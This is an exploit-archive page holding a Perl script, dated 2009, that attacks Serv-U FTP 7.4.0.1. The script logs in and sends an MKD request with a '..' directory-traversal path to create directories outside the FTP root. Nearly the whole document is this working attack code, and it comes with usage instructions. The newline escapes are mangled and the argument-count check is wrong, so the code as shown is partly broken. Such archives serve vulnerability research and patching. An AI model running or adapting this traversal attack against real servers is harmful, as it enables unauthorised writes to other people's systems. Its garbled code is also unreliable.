[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit
# Published : 2009-03-16
# Author : Jonathan Salwan
# Previous Title : Talkative IRC 0.4.4.16 Remote Stack Overflow Exploit (SEH)
# Next Title : PPLive <= 1.9.21 (/LoadModule) URI Handlers Argument Injection Vuln


#!/usr/bin/perl
# Soft    : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD" 
# requests. This can be exploited to escape the FTP root and create arbitrary directory on 
# the system via directory traversal attacks using the ".." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan n";
print "[+] Soft: FTP Serv-Un";

	if (@ARGV < 4)
		{
 		print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>n";
 		print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\dirn";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$user	= $ARGV[2];
	$pass	= $ARGV[3];
	$dir	= $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "n[-] Connecting: Failed!n";

print "n[+] Connecting: Ok!n";
print "[+] Sending request...n";

	print $socket "USER $userrn";
	print $socket "PASS $passrn";
	print $socket "MKD $dirrn";

		sleep(3);	
		close($socket);

print "[+]Done! directory $dir has been createdn";

# www.Syue.com [2009-03-16]